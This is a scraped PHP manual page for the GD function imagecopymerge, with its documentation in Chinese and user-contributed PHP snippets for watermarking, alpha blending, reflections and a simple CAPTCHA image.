    //change the transparent color to black, since transparent goes to black anyways (no way to remove transparency in GIF)
    imagecolortransparent($img, imagecolorallocate($img, 0, 0, 0));
  }
  //create truecolor image and transfer
  $truecolor = imagecreatetruecolor($w, $h);
  imagealphablending($img, false);
  imagesavealpha($img, true);
  imagecopy($truecolor, $img, 0, 0, 0, 0, $w, $h);
  imagedestroy($img);
  $img = $truecolor;
  //remake transparency (if there was transparency)
  if ($original_transparency >= 0) {
    imagealphablending($img, false);
    imagesavealpha($img, true);
    for ($x = 0; $x < $w; $x++)
      for ($y = 0; $y < $h; $y++)
        if (imagecolorat($img, $x, $y) == $original_transparency)
          imagesetpixel($img, $x, $y, 127 << 24);
  }
}
?>

And now $img is a true color image resource
john at mccarthy dot net 17-Jan-2007 05:37
Here is an upgrade of that cool wave function: Double the size of the image, wave it, then resample it down again. This makes even nicer, anti aliased waves.

    // So easy and nice!
    function wave_region($img, $x, $y, $width, $height,$amplitude = 4.5,$period = 30)
    {
        // Make a copy of the image twice the size
        $mult = 2;
        $img2 = imagecreatetruecolor($width * $mult, $height * $mult);
        imagecopyresampled ($img2,$img,0,0,$x,$y,$width * $mult,$height * $mult,$width, $height);

        // Wave it
        for ($i = 0;$i < ($width * $mult);$i += 2)
        {
           imagecopy($img2,$img2,
               $x + $i - 2,$y + sin($i / $period) * $amplitude,    // dest
               $x + $i,$y,            // src
               2,($height * $mult));
        }

        // Resample it down again
        imagecopyresampled ($img,$img2,$x,$y,0,0,$width, $height,$width * $mult,$height * $mult);
        imagedestroy($img2);
    }

To use it in a full image:
    wave_region ($oImage,0,0,imagesx($oImage),imagesy($oImage));
C. Jansen 16-Aug-2006 11:02
While replying to a post in a support forum I noticed something odd about imagecopy(). The first snippet (should) create an image object, allocate a colour resource within that image, fill the background with the allocated colour and then copy another, cropped to fit, image onto it.

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    //fill the background with white
    imagefill( $temp, 0, 0, $white );

    //copy the image into new a resource
    imagecopy($temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height);
?>

But this produces a black background. I noticed taking away the imagefill() call yields the same results. The solution was to call imagefill() after the imagecopy(). Thinking linearly I would have guessed this to cover the previously copied image in white but it doesn't. I guess GD uses a layer system? Is this correct?

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    // copy image into new resource
    imagecopy( $temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height );

    //fill the background with white (not sure why it has to be in this order)
    imagefill( $temp, 0, 0, $white );
?>

I am using php 5.1.4 with the bundled GD (2.0.28)
admin at cvxdes dot com 23-Feb-2006 08:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
    $bwidth  = imagesx($url);
    $bheight = imagesy($url);
    $lwidth  = imagesx($logo);
    $lheight = imagesy($logo);
    $src_x = $bwidth - ($lwidth + 5);
    $src_y = $bheight - ($lheight + 5);
    ImageAlphaBlending($url, true);
    ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
designerkamal at gmail dot com 09-Feb-2006 11:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
    {
        imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
      imagecolortransparent($imgdest,$trans);

    }
    $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
ragnar_40k at hotmail dot com 21-Nov-2005 03:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk 21-Oct-2005 08:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
    switch(substr ($link,strrpos ($link,".")+1))
    {
        case 'png':
            $iTmp = imagecreatefrompng($link);
            break;
        case 'gif':
            $iTmp = imagecreatefromgif($link);
            break;
        case 'jpeg':
        case 'jpg':
            $iTmp = imagecreatefromjpeg($link);
            break;
    }

    if ($under)
    {
        $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
        $maxH+=imagesy($iTmp);
    }
    else
    {
        $maxW+=imagesx($iTmp);
        $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
    }

    array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
    if ($under)
        imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
    else
        imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
    $pos+= $under ? imagesy($img) : imagesx($img);
    imagedestroy ($img);
}

imagegif($iOut);
?>


拷贝并合并图像的一部分

  • ? imagecopy
  • imagecopymergegray ?
  • PHP Manual
  • GD 和图像处理 函数
  • 拷贝并合并图像的一部分

imagecopymerge

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecopymerge — 拷贝并合并图像的一部分

说明

imagecopymerge(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height,
int $pct
): bool

从 x、y 坐标 src_x、src_y 开始，将 src_image 的一部分复制到 dst_image 上，宽度为 src_width，高度为 src_height。定义的部分将被复制到 x、y 坐标 dst_x 和 dst_y 上。

参数

dst_image

目标图象资源。

src_image

源图象资源。

dst_x

目标点的 x 坐标。

dst_y

目标点的 y 坐标。

src_x

源点的 x 坐标。

src_y

源点的 y 坐标。

src_width

源图象的宽度。

src_height

源图象的高度。

pct

两个图像将根据 pct 合并，范围是 0 到 100。当 pct = 0，不采取任何操作，当 100 时，此函数的行为与调色板图像的 imagecopy() 相同，除了忽略 alpha alpha 组件（components），其实现了真彩色图像的 alpha 透明度。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dst_image 和 src_image 现在需要 GdImage 实例；之前需要 resource。

示例

Example #1 使用 75% 透明度合并 PHP.net logo 的两个副本

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge
imagecopymerge($dest, $src, 10, 10, 0, 0, 100, 47, 75);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

highton ridley 01-Jul-2019 08:29
killing_wombles0000 gave an almost working piece of code to mirror an image with increasing transparency. With help from showdev on stackexchange, here's the corrected and fully working code:
<?php
$in = imagecreatefromjpeg('https://picsum.photos/id/1084/536/354?grayscale');
$reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
$reflection_height = 40;        //     height of reflection in pixels
$gap = 0;                        //    gap between image and reflection

$orig_height = imagesy($in);                                //    store height of original image
$orig_width = imagesx($in);                                    //    store height of original image
$output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

// create new image to use for output. fill with BLACK.
$out = imagecreatetruecolor($orig_width, $output_height);
//imagealphablending($out, false);
//$bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
$bg = imagecolorallocatealpha($out, 0,0,0,0);
imagefill($out, 0, 0, $bg);
imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg);

// copy original image onto new one, leaving space underneath for reflection and 'gap'
imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

 // create new single-line image to act as buffer while applying transparency
$reflection_section = imagecreatetruecolor(imagesx($in), 1);
imagealphablending($reflection_section, false);
$bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
imagefill($reflection_section, 0, 0, $bg1);

// 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
// 2. set transparency to vary between reflection_strength and 127
// 3. copy line back to mirrored position in original
for ($y = 0; $y<$reflection_height;$y++)
{
    $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
    imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
    imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
    imagecopyresized($out, $reflection_section, 0, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - 0, 1, imagesx($in), 1);
}

// output image to view
header('Content-type: image/png');
imagesavealpha($out,true);
imagepng($out);
?>
Leo 04-Jan-2012 09:14
The following function creates mask of a true color image for a given color. Beforehand for creating an image mask I used to loop over all image pixels and check their color using imagecolorat and copy if the color matches with imagesetpixel. This was very slow for large images, so the following code improves the process.

<?php

    function getOppositeColor ($color)
    {
        return (
                    ( (255 - ($color >> 16) & 0xFF) << 16 ) +
                    ( (255 - ($color >> 8  ) & 0xFF) << 8  ) +
                    ( (255 - ($color         ) & 0xFF)         )
                );
    }

    function createImageMask (&$image, $color)
    {
        $w = imagesx ($image);
        $h = imagesy ($image);

        $tmpImage = imagecreatetruecolor ($w, $h);

        imagecopy ($tmpImage, $image, 0, 0, 0, 0, $w, $h);

        imagefilter ($image, IMG_FILTER_NEGATE);

        imagecolortransparent ($image, getOppositeColor ($color));

        imagecopymerge ($tmpImage, $image, 0, 0, 0, 0, $w, $h, 50);

        imagedestroy ($image);

        $image = $tmpImage;
    }

?>

So for example, if we have a photo and we specify color = (255, 0, 0), i.e. red, the result will be image of the same size with red pixels everywhere the original photo was red and grey pixels exerywhere else.
Leo 04-Jan-2012 06:27
imagecopymerge PHP function helped me to create a fast method that replaces one color by another in true color images.

Beforehand for this purpose I had to loop over all the pixels of an image and replace color pixel by pixel using imagecolorat and imagesetpixel; this method is really slow for large images.

So here is the fast one:

<?php

function replaceColorInImage ($image, $old_r, $old_g, $old_b, $new_r, $new_g, $new_b)
{
    imagecolortransparent ($image, imagecolorallocate ($image, $old_r, $old_g, $old_b));

    $w = imagesx ($image);
    $h = imagesy ($image);

    $resImage = imagecreatetruecolor ($w, $h);

    imagefill ($resImage, 0, 0, imagecolorallocate ($resImage, $new_r, $new_g, $new_b));

    imagecopymerge ($resImage, $image, 0, 0, 0, 0, $w, $h, 100);

    return $resImage;
}

?>
thciobanu 09-Mar-2011 12:56
This is what I use for merging two images while respecting the alpha channel (formulas are taken from the wikipedia article on alpha compositing; they're not too pretty as I didn't really try to make them look so, but instead just work and make sense when checked out months from now), with a quirk - an additional parameter (that defaults to NULL to be ignored) to manually specify a "transparent" color, which won't be copied over from the source to the destination. In comparison to the other implementation here, only one pass over $src_im is done, but more calculations are performed:

<?php
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, $trans = NULL)
{
  $dst_w = imagesx($dst_im);
  $dst_h = imagesy($dst_im);

  // bounds checking
  $src_x = max($src_x, 0);
  $src_y = max($src_y, 0);
  $dst_x = max($dst_x, 0);
  $dst_y = max($dst_y, 0);
  if ($dst_x + $src_w > $dst_w)
    $src_w = $dst_w - $dst_x;
  if ($dst_y + $src_h > $dst_h)
    $src_h = $dst_h - $dst_y;

  for($x_offset = 0; $x_offset < $src_w; $x_offset++)
    for($y_offset = 0; $y_offset < $src_h; $y_offset++)
    {
      // get source & dest color
      $srccolor = imagecolorsforindex($src_im, imagecolorat($src_im, $src_x + $x_offset, $src_y + $y_offset));
      $dstcolor = imagecolorsforindex($dst_im, imagecolorat($dst_im, $dst_x + $x_offset, $dst_y + $y_offset));

      // apply transparency
      if (is_null($trans) || ($srccolor !== $trans))
      {
        $src_a = $srccolor['alpha'] * $pct / 100;
        // blend
        $src_a = 127 - $src_a;
        $dst_a = 127 - $dstcolor['alpha'];
        $dst_r = ($srccolor['red'] * $src_a + $dstcolor['red'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_g = ($srccolor['green'] * $src_a + $dstcolor['green'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_b = ($srccolor['blue'] * $src_a + $dstcolor['blue'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_a = 127 - ($src_a + $dst_a * (127 - $src_a) / 127);
        $color = imagecolorallocatealpha($dst_im, $dst_r, $dst_g, $dst_b, $dst_a);
        // paint
        if (!imagesetpixel($dst_im, $dst_x + $x_offset, $dst_y + $y_offset, $color))
          return false;
        imagecolordeallocate($dst_im, $color);
      }
    }
  return true;
}

// use it like this (identical to imagecopymerge)
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct)
// or this
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, array('red' => 1, 'green' => 2, 'blue' => 3, 'alpha' =>4))
?>
killing_wombles0000 at hotmail dot com 17-Feb-2011 09:27
Anyone wanting to create a reflecion of an image. Simple process that copies, line by line, from the bottom of the image, a given number of pixels. Each line gets gradually more transparent. Outputs PNG to screen.

This is pretty hot-coded - all four input variables (input image, reflection height, starting transparency, gap between image and reflection) are set manually here.

<?php
    $in = imagecreatefromjpeg('C:\test.jpg');
    $reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
    $reflection_height = 40;        //     height of reflection in pixels
    $gap = 10;                        //    gap between image and reflection

    $orig_height = imagesy($in);                                //    store height of original image
    $orig_width = imagesx($in);                                    //    store height of original image
    $output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

    // create new image to use for output. fill with transparency. ALPHA BLENDING MUST BE FALSE
    $out = imagecreatetruecolor($orig_width, $output_height);
    imagealphablending($out, false);
    $bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
    imagefill($out, 0, 0, $bg);
    imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg1);

    // copy original image onto new one, leaving space underneath for reflection and 'gap'
    imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

     // create new single-line image to act as buffer while applying transparency
    $reflection_section = imagecreatetruecolor(imagesx($in), 1);
    imagealphablending($reflection_section, false);
    $bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
    imagefill($reflection_section, 0, 0, $bg1);

    // 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
    // 2. set transparency to vary between reflection_strength and 127
    // 3. copy line back to mirrored position in original
    for ($y = 0; $y<$reflection_height;$y++)
    {
        $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
        imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
        imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
        imagecopyresized($out, $reflection_section, $a, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - (2*$a), 1, imagesx($in), 1);
    }

    // output image to view
    header('Content-type: image/png');
    imagesavealpha($out,true);
    imagepng($out);
?>
Sina Salek 09-Aug-2009 01:26
I've just checked PHP's issue tracker and a core developer says that this function was never meant to support alpha channel! and they refused to commit the provided patch! so ridicules
Anyway i tried rodrigo's workaround and it worked quite well, thanks rodrigo for sharing it.
I came up with another idea which is much faster than his solution, (it may need a little bit more memory)

Hope it helps someone.

<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * by Sina Salek
 *
 * Bugfix by Ralph Voigt (bug which causes it
 * to work only for $src_x = $src_y = 0.
 * Also, inverting opacity is not necessary.)
 * 08-JAN-2011
 *
 **/
    function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
        // creating a cut resource
        $cut = imagecreatetruecolor($src_w, $src_h);

        // copying relevant section from background to the cut resource
        imagecopy($cut, $dst_im, 0, 0, $dst_x, $dst_y, $src_w, $src_h);

        // copying relevant section from watermark to the cut resource
        imagecopy($cut, $src_im, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // insert cut resource to destination image
        imagecopymerge($dst_im, $cut, $dst_x, $dst_y, 0, 0, $src_w, $src_h, $pct);
    }

?>
santin1991[at]gmail[dot]com 23-Apr-2009 04:16
Add logo on image script.
<?php
/**
 * Put logo on low right jpeg image
 * used stefan's script for position
 **/
$logo_file = "logo.png";
$image_file = "img.jpg";
$targetfile = "img2.jpg";
$photo = imagecreatefromjpeg($image_file);
$fotoW = imagesx($photo);
$fotoH = imagesy($photo);
$logoImage = imagecreatefrompng($logo_file);
$logoW = imagesx($logoImage);
$logoH = imagesy($logoImage);
$photoFrame = imagecreatetruecolor($fotoW,$fotoH);
$dest_x = $fotoW - $logoW;
$dest_y = $fotoH - $logoH;
imagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH);
imagecopy($photoFrame, $logoImage, $dest_x, $dest_y, 0, 0, $logoW, $logoH);
imagejpeg($photoFrame, $targetfile);
echo '<img src="'.$targetfile.'" />';
?>
rodrigo dot polo at gmail dot com 25-Jan-2009 02:52
<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * This is a function like imagecopymerge but it handle alpha channel well!!!
 **/

// A fix to get a function like imagecopymerge WITH ALPHA SUPPORT
// Main script by aiden dot mail at freemail dot hu
// Transformed to imagecopymerge_alpha() by rodrigo dot polo at gmail dot com
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
    if(!isset($pct)){
        return false;
    }
    $pct /= 100;
    // Get image width and height
    $w = imagesx( $src_im );
    $h = imagesy( $src_im );
    // Turn alpha blending off
    imagealphablending( $src_im, false );
    // Find the most opaque pixel in the image (the one with the smallest alpha value)
    $minalpha = 127;
    for( $x = 0; $x < $w; $x++ )
    for( $y = 0; $y < $h; $y++ ){
        $alpha = ( imagecolorat( $src_im, $x, $y ) >> 24 ) & 0xFF;
        if( $alpha < $minalpha ){
            $minalpha = $alpha;
        }
    }
    //loop through image pixels and modify alpha for each
    for( $x = 0; $x < $w; $x++ ){
        for( $y = 0; $y < $h; $y++ ){
            //get current alpha value (represents the TANSPARENCY!)
            $colorxy = imagecolorat( $src_im, $x, $y );
            $alpha = ( $colorxy >> 24 ) & 0xFF;
            //calculate new alpha
            if( $minalpha !== 127 ){
                $alpha = 127 + 127 * $pct * ( $alpha - 127 ) / ( 127 - $minalpha );
            } else {
                $alpha += 127 * $pct;
            }
            //get the color index with new alpha
            $alphacolorxy = imagecolorallocatealpha( $src_im, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
            //set pixel with the new color + opacity
            if( !imagesetpixel( $src_im, $x, $y, $alphacolorxy ) ){
                return false;
            }
        }
    }
    // The image copy
    imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h);
}

// USAGE EXAMPLE:
$img_a = imagecreatefrompng('image1.png');
$img_b = imagecreatefrompng('wm2.png');

// SAME COMMANDS:
imagecopymerge_alpha($img_a, $img_b, 10, 10, 0, 0, imagesx($img_b), imagesy($img_b),50);

// OUTPUT IMAGE:
header("Content-Type: image/png");
imagesavealpha($img_a, true);
imagepng($img_a, NULL);
?>
gigitrix 03-Sep-2008 06:01
Some highly amusing stuff: This code appears normal and is a way to cut out slices of an image randomly.

<?php
header("Content-Type: image/jpeg");
$width=837;
$height=771;
$origim = imagecreatefromjpeg("theimage.jpeg"); /* Attempt to open */
$imagetodisplay=imagecreate($width, $height);

for($i=0;$i<=100;$i++)
{
$xPos=rand(0,$width-9);
$yPos=rand(0,$height-9);
imagecopy($imagetodisplay, $origim, $xPos, $yPos , $xPos, $yPos , 10  , 10);
}

imagejpeg($imagetodisplay);
imagedestroy($imagetodisplay);
imagedestroy($origim);
?>

Try running this however and an omitted detail adds to the fun. Since the first colour that is defined is taken to be the background colour, we have a random colour selected from $origim as the background colour for $imagetodisplay, but this random colour is weighted according to the background image. It was a surprise (I thought the bg would be black) but I am now keeping it as it looks good.
Al 09-Jul-2007 07:23
Check your header... He is false...

<?php
header("Content-Type: image/png");
?>
jay at zylex dot net dot nz 24-Feb-2007 03:45
Hi
i wrote this script to add a watermark image into the bottom right a larger image. Its very basic i know but its all i need for now. It also is an easy function for noobs to grasp. It just takes an two image types as arguments

for example
$image = imagecreatefromjpeg("FILELOCATION");
$insert = imagecreatefrompng("WATERMARKFILELOCATION");
$image = image_overlap($image, $insert);

function image_overlap($background, $foreground){
   $insertWidth = imagesx($foreground);
   $insertHeight = imagesy($foreground);

   $imageWidth = imagesx($background);
   $imageHeight = imagesy($background);

   $overlapX = $imageWidth-$insertWidth-5;
   $overlapY = $imageHeight-$insertHeight-5;
               imagecolortransparent($foreground,
imagecolorat($foreground,0,0));                imagecopymerge($background,$foreground,
$overlapX,$overlapY,0,0,$insertWidth,$insertHeight,100);   return $background;
    }

It doesnt smooth the edges between the two images but it works easily.
jylyn at hotmail dot com 22-Feb-2006 01:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk 01-Nov-2005 02:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
    ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
    ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com 24-May-2005 02:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve 23-May-2005 11:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

    #
    # $sourcefile = Filename of the picture to be watermarked.
    # $watermarkfile = Filename of the 24-bit PNG watermark file.
    #

    //Get the resource ids of the pictures
    $watermarkfile_id = imagecreatefrompng($watermarkfile);

    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);

    $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

    switch($fileType) {
        case('gif'):
            $sourcefile_id = imagecreatefromgif($sourcefile);
            break;

        case('png'):
            $sourcefile_id = imagecreatefrompng($sourcefile);
            break;

        default:
            $sourcefile_id = imagecreatefromjpeg($sourcefile);
    }

    //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

    $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
    $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

    // if a gif, we have to upsample it to a truecolor image
    if($fileType == 'gif') {
        // create an empty truecolor container
        $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                            $sourcefile_height);

        // copy the 8-bit gif into the truecolor image
        imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                            $sourcefile_width, $sourcefile_height);

        // copy the source_id int
        $sourcefile_id = $tempimage;
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                        $watermarkfile_width, $watermarkfile_height);

    //Create a jpeg out of the modified picture
    switch($fileType) {

        // remember we don't need gif any more, so we use only png or jpeg.
        // See the upsaple code immediately above to see how we handle gifs
        case('png'):
            header("Content-type: image/png");
            imagepng ($sourcefile_id);
            break;

        default:
            header("Content-type: image/jpg");
            imagejpeg ($sourcefile_id);
    }

    imagedestroy($sourcefile_id);
    imagedestroy($watermarkfile_id);

}
backglancer in the hotmail 17-May-2005 02:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy   :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);   made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it 17-May-2005 01:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

